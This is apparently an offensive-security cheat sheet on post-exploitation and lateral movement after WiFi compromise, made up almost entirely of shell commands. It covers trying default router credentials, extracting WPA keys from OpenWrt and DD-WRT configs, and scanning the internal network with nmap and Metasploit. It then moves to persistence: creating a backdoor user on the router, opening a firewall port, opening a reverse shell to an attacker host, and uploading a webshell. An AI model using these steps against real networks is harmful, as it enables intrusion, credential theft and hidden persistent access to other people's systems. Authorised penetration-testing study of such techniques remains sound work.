Post-Exploitation & Lateral Movement
Network pivoting, router exploitation, and internal network scanning after WiFi compromise.
Methodology
- 1Establish network foothold
- 2Scan internal network
- 3Identify targets
- 4Move laterally
- 5Achieve persistence
Detailed Steps
bash
# Identify router
ip route | grep default
nmap -p 80,443,22 gateway_ip
# Common default credentials
# admin:admin, admin:password, root:root
# Access web interface
firefox http://gateway_ip
# SSH access
ssh admin@gateway_ip
# Telnet (older routers)
telnet gateway_ip
# Check for vulnerabilities
searchsploit "Router Model"
# Extract WPA key from router
ssh admin@gateway_ip
cat /etc/config/wireless # OpenWrt
nvram get wl_wpa_psk # DD-WRTbash
# Discover hosts
nmap -sn 192.168.1.0/24
# Aggressive scan
nmap -A -T4 192.168.1.0/24
# Service enumeration
nmap -sV -p- 192.168.1.0/24
# Find vulnerable services
nmap -p 445,139,22 -sV 192.168.1.0/24
# Metasploit network discovery
msfconsole
> use auxiliary/scanner/smb/smb_enumsharesbash
# Create backdoor user on router
ssh admin@gateway_ip
useradd -m backdoor
passwd backdoor
# Modify firewall rules
iptables -A INPUT -p tcp --dport 2222 -j ACCEPT
# Reverse shell
bash -i >& /dev/tcp/attacker_ip/4444 0>&1
# Install webshell
scp shell.php admin@gateway_ip:/www/Tools
nmapmetasploitSSHTelnet